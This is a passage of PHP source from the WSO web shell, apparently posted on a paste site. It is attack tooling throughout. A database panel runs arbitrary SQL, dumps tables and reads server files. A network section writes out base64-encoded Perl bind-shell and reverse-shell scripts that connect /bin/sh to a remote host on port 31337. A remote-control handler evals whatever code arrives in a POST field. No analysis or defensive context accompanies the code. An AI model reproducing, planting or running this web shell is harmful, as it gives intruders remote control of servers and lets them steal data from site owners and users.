value=\'\'>";\r\n\tif(isset($_POST[\'sql_host\'])){\r\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\r\n\t\t\tswitch($_POST[\'charset\']) {\r\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\r\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\r\n\t\t\t}\r\n\t\t\t$db->listDbs();\r\n\t\t\techo "<select name=sql_base><option value=\'\'></option>";\r\n\t\t\twhile($item = $db->fetch()) {\r\n\t\t\t\tlist($key, $value) = each($item);\r\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n\t\t\t}\r\n\t\t\techo \'</select>\';\r\n\t\t}\r\n\t\telse echo $tmp;\r\n\t}else\r\n\t\techo $tmp;\r\n\techo "</td>\r\n\t\t\t\t<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\r\n <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\r\n function fs(f) {\r\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n if(f.p1) f.p1.value=\'\';\r\n if(f.p2) f.p2.value=\'\';\r\n if(f.p3) f.p3.value=\'\';\r\n }\r\n }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = \'select\';\r\n\t\t\t\td.sf.p2.value = t;\r\n if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\r\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";\r\n\tif(isset($db) && $db->link){\r\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\r\n\t\t\tif(!empty($_POST[\'sql_base\'])){\r\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\r\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\r\n\t\t\t\t$tbls_res = $db->listTables();\r\n\t\t\t\twhile($item = $db->fetch($tbls_res)) {\r\n\t\t\t\t\tlist($key, $value) = each($item);\r\n if(!empty($_POST[\'sql_count\']))\r\n $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\r\n\t\t\t\t\t$value = htmlspecialchars($value);\r\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\r\n\t\t\t\t}\r\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\r\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\r\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\r\n $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\r\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\r\n\t\t\t\t\t$num = $db->fetch();\r\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\r\n echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\r\n echo " of $pages";\r\n if($_POST[\'p3\'] > 1)\r\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\r\n if($_POST[\'p3\'] < $pages)\r\n echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\r\n $_POST[\'p3\']--;\r\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\r\n\t\t\t\t\techo "<br><br>";\r\n\t\t\t\t}\r\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\r\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\r\n\t\t\t\t\tif($db->res !== false) {\r\n\t\t\t\t\t\t$title = false;\r\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';\r\n\t\t\t\t\t\t$line = 1;\r\n\t\t\t\t\t\twhile($item = $db->fetch())\t{\r\n\t\t\t\t\t\t\tif(!$title)\t{\r\n\t\t\t\t\t\t\t\techo \'<tr>\';\r\n\t\t\t\t\t\t\t\tforeach($item as $key => $value)\r\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\r\n\t\t\t\t\t\t\t\treset($item);\r\n\t\t\t\t\t\t\t\t$title=true;\r\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\r\n\t\t\t\t\t\t\t\t$line = 2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\r\n\t\t\t\t\t\t\t$line = $line==1?2:1;\r\n\t\t\t\t\t\t\tforeach($item as $key => $value) {\r\n\t\t\t\t\t\t\t\tif($value == null)\r\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'</tr>\';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo \'</table>\';\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\r\n if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\r\n echo htmlspecialchars($_POST[\'p2\']);\r\n echo "</textarea><br/><input type=submit value=\'Execute\'>";\r\n\t\t\t\techo "</td></tr>";\r\n\t\t\t}\r\n\t\t\techo "</table></form><br/>";\r\n if($_POST[\'type\']==\'mysql\') {\r\n $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\r\n if($db->fetch())\r\n echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";\r\n }\r\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\r\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\r\n\t\t\t\techo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\r\n\t\t\t}\r\n\t} else {\r\n echo htmlspecialchars($db->error());\r\n }\r\n\techo \'</div>\';\r\n\twsoFooter();\r\n}\r\nfunction actionNetwork() {\r\n\twsoHeader();\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bpp\',this.port.value);return false;\\">\r\n\t<span>Bind port to /bin/sh [perl]</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\r\n\t</form>\r\n\t<form name=\'nfp\' onSubmit=\\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\\">\r\n\t<span>Back-connect [perl]</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'31337\'> <input type=submit value=\'>>\'>\r\n\t</form><br>";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w){\r\n\t\t\t\t@fwrite($w,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$out = wsoEx("perl /tmp/bp.pl ".$_POST[\'p2\']." 1>/dev/null 2>&1 &");\r\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bp.pl")."</pre>";\r\n unlink("/tmp/bp.pl");\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$out = wsoEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");\r\n\t\t\techo "<pre class=ml1>$out\\n".wsoEx("ps aux | grep bc.pl")."</pre>";\r\n unlink("/tmp/bc.pl");\r\n\t\t}\r\n\t}\r\n\techo \'</div>\';\r\n\twsoFooter();\r\n}\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"wso_version" => WSO_VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($default_action) && function_exists(\'action\' . $default_action))\r\n\t\t$_POST[\'a\'] = $default_action;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'SecInfo\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\nexit;\r\n'
Add Comment
Please, Sign In to add comment